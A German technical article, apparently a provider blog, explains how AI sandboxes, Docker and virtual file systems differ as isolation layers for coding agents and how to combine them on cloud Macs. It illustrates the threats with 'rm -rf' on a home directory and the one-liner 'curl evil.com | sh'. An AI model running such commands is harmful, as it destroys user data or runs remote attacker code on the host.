AI Sandbox vs Docker vs virtuelles Dateisystem: Was ist der Unterschied?

Wenn Sie eine Coding-Agent-Pipeline für Ihr Team aufbauen, hören Sie drei Begriffe oft verwechselt: AI Sandbox, Docker und virtuelles Dateisystem (VFS). Produktdokumente sagen „der Agent führt Befehle in einer Sandbox aus“, Ops sagt „einfach mit Docker isolieren“, und die IDE meldet „virtueller Workspace aktiviert“ – alles verspricht, AI-Code vor Schäden zu schützen. Doch was isoliert wird, wie lange es lebt und was der Betrieb kostet, ist völlig unterschiedlich.

Ein typisches Fehlszenario 2026: Ein Docker-Image für eine einzelne Agent-Aufgabe starten, 30 Sekunden Kaltstart abwarten, dann läuft der Container ab, bevor die Token-Kosten berechnet sind. Oder gar keine Isolation – der Agent führt rm -rf im Home-Verzeichnis aus. Dieser Artikel richtet sich an Kvmjet-Leser – iOS-, Flutter- und AI-App-Entwickler – und erklärt, was jede Schicht löst, eine Entscheidungstabelle und den Einsatz auf Cloud Mac / Apple Silicon.

Kernaussage: Keine Ersatzprodukte, sondern Aufteilung in Ausführungs-, Laufzeit- und Dateiansichtsschicht. AI Sandbox: kurzlebiger, nicht vertrauenswürdiger Code. Docker: reproduzierbare Umgebungen. Virtuelle Dateisysteme: Workspace-Ansicht und Schutz des Hosts.

1. Warum diese drei Konzepte verwechselt werden

Alle drei erscheinen in der „Isolations“-Anforderungskette, aber auf unterschiedlichen Abstraktionsebenen. „Agent-Code sicher ausführen“ bedeutet mindestens drei Fragen:

• Wo läuft der Prozess – eigene CPU/Speicher-Grenze oder im IDE-Prozess?
• Woher kommt die Umgebung – Node 18 oder 22? Stimmen Systembibliotheken mit CI überein?
• Wohin gehen Dateischreibvorgänge – echtes Repo oder wegwerfbares „Phantomverzeichnis“?

AI Sandbox beantwortet vor allem die erste Frage und setzt nicht vertrauenswürdigen, kurzlebigen Code voraus. Docker die zweite – wiederholbare, versionierte Umgebungen. Virtuelle Dateisysteme (im Agent-Sinn) die dritte – rollback-freundliche Dateiansicht ohne stets einen vollen Container.

Viele Stacks schichten zwei oder drei Ebenen: Cursors Background Agent in einer Remote-microVM (Sandbox), git-worktree-Snapshot (VFS), Image mit Swift/Flutter-Toolchain (Docker). Schichten trennen vermeidet „alles Docker oder keine Isolation“.

2. AI Sandbox: kurzlebige Ausführung für Agents

AI Sandbox (auch Code Sandbox, Agent Runtime) entstand 2024–2026 mit Coding Agents. Beispiele: E2B, Modal Sandboxes, Daytona, IDE-Remote-Umgebungen. Gemeinsamkeiten:

• Start in Sekunden: für „neue Umgebung pro Agent-Turn“, nicht Minuten-Image-Pulls wie in CI.
• Automatisches Teardown: Ressourcen nach Ende/Timeout zurück, weniger Seitenkanäle und Datenreste.
• Richtliniengesteuertes Netzwerk: ausgehend standardmäßig blockiert oder Allowlist – Schutz vor LLM-Exfiltration.
• API-first: Erstellen/Ausführen/Dateien lesen per SDK für Agent-Schleifen, nicht manuelles docker run.

Unten drunter: gVisor, Firecracker-microVMs, leichte Container, WASM. Entscheidend: ob das SLA zur Agent-Turn-Frequenz passt. Alle 10 Sekunden neue Umgebung? Docker-Kaltstart plus Pull ist ein Engpass.

Typische Fälle: Auto-Fix-Bots, Batch-Tests mit nicht vertrauenswürdigem Code, Online-Judge, Multi-Tenant-Skripte – Vertrauensgrenze ist LLM-Ausgabe, ein Befehl kann bösartig sein.

2.1 Grenzen der AI Sandbox

Ersetzt keine volle Dev-Umgebung: Xcode, iOS Simulator, GUI-Debug brauchen echtes macOS. „Diese Podfile.lock bytegenau wie Produktions-CI“ – Docker-Images sind stark. Muster: Sandbox für nicht vertrauenswürdige Fragmente, Docker/Bare Metal für vertrauenswürdige Builds.

3. Docker: reproduzierbare Umgebungspakete

Docker nutzt Linux-Namespaces, cgroups, geschichtete Images (OCI). Es beantwortet: wie „läuft bei mir“ zu „läuft überall“ wird. Wert für Agent-Workflows:

• Eingefrorene Abhängigkeiten: Dockerfile fixiert Node, Python, Systemlibs – Agent-Code ändert die Umgebung nicht versehentlich.
• CI/CD-Parität: lokales docker compose up und GitHub Actions teilen dasselbe Image.
• Lang lebig: Container laufen Tage, Volumes, Kubernetes – für Agent-Gateway-Dienste, nicht Einmal-Skripte.

Auf Cloud Mac laufen oft Linux-only-Backends, OpenClaw Gateway, Vektor-DBs, selbst gehostete Plane/Jira-Alternativen – neben Xcode in einer dauerhaften Cloud-Mac-Dev-Umgebung.

3.1 Fallstricke: Docker direkt als Agent-Sandbox

docker run als Ausführungsschicht führt zu:

• Langsamer Start: große Images, Pulls, Mounts – Sekunden-SLA schwer.
• Komplexe Rechte und Mounts: Repo R/W, Sockets, ggf. GPU – je --mount / --cap-add.
• Manueller Lebenszyklus: abgestürzte Agents hinterlassen Container – externe Orchestrierung nötig.

Docker passt besser als vertrauenswürdige Umgebungsvorlage innerhalb von AI Sandbox oder Orchestrator als als vom LLM zusammengesetztes docker run.

4. Virtuelles Dateisystem: Agent-Workspace-Ansicht

„Virtuelles Dateisystem“ in Agent-Produkten: Pfade haben Indirection, Host-Layout ist transparent oder read-only. Muster:

• Overlay / Copy-on-Write: read-only Basis, schreibbare Oberebene – Overlay verwerfen = Rollback. Docker-Union-FS, Sandbox-Ephemeral-Layer.
• git worktree / sparse checkout: Agent editiert isoliert – Standard vieler IDE-Agents, kaum Container-Overhead.
• FUSE / Remote-Mount: Dateien auf S3, NFS, Build-Maschine – lokale POSIX-Schnittstelle. Monorepos, Compliance.
• IDE-virtuelle Dokumente: ungespeicherte Buffer, Diff-Vorschau – an Editor-Session gebunden.

VFS allein isoliert keine Prozesse: curl evil.com | sh stoppt kein Overlay. Es verhindert Repo-Chaos, nicht Kernel-Zugriff. Daher oft gestapelt mit Sandbox oder Docker.

Die Kernel-VFS-Dokumentation erklärt Overlay-Mounts – bei Agent-Tools auf „workspace“, „snapshot“, „rollback“ in Produktdocs achten.

5. Vergleich und Kombinationsstrategien

Kombinationsmuster (2026):

1. Lokales Cursor/Copilot-Editing: VFS (worktree) primär; optional Docker Compose vor Tests für CI.
2. Background Agent Auto-PR: Remote-AI-Sandbox + Repo-Snapshot-VFS + Toolchain-Image (Docker-Build).
3. Self-hosted Agent Gateway: Docker/K8s für Gateway und Memory Store; Sandbox-Mikroinstanz pro Tool-Call.

Bei Cursor Pro Background Agent Preisen zählen oft „Sandbox-Minuten + Modell-Tokens“ – die Sandbox-Schicht hilft bei der Kostenprognose über das Monatsabo hinaus.

6. Deployment auf Cloud Mac

Apple-Silicon-Cloud-Mac ist ideal für Hybrid-Stacks: natives Xcode/Flutter + Docker Desktop + Remote-Agents. Phasen:

• Phase 1: git worktree für isolierte Branch-Ansicht; ungeprüftes git push blockieren.
• Phase 2: Docker Compose für Backend und OpenClaw Gateway, mit Agent-Memory-Plugin auf einem Host.
• Phase 3: Workflows mit automatisch ausgeführtem nicht vertrauenswürdigem Code – E2B o. Ä. oder Linux-Sidecar; kein unbekanntes Shell auf bare macOS.

M4-Unified-Memory macht „Docker + IDE + Simulator“ flüssiger als viele x86-VPS – bei sehr dichten Agent-Turns Sandbox auf dedizierten Dienst auslagern statt endlose lokale Container.

7. FAQ

Sind AI Sandbox und Docker dasselbe?

Nein. Docker ist universelle Container-Runtime; AI Sandbox ist Agent-orientierte Produktabstraktion mit API, Sekunden-Lebenszyklen und Policies für nicht vertrauenswürdigen Code. Implementierung kann Docker nutzen – das Modell im Kopf ist anders.

Was bedeutet virtuelles Dateisystem für Agents?

Der beschreibbare Workspace hinter der Agent-Ansicht – Overlay, worktree, FUSE, Remote-Mount – für Datei-Rollback, nicht Prozessisolierung.

Was auf Cloud Mac wählen?

Tägliche Entwicklung: VFS plus optional Docker; nicht vertrauenswürdige Ausführung per Sandbox-API. Keine LLM-Systembefehle in bare macOS-Shell.

8. Zusammenfassung

AI Sandbox steuert Ausführung und Vertrauensgrenzen, Docker Umgebungsreproduktion, virtuelle Dateisysteme Workspace-Ansicht und Rollback – alle drei für vollständige Agent-Infrastruktur. Fragen Sie, wovor Sie am meisten Angst haben: Code-Chaos, Umgebungsdrift oder bösartige Ausführung? Jede Antwort mappt auf eine andere Schicht.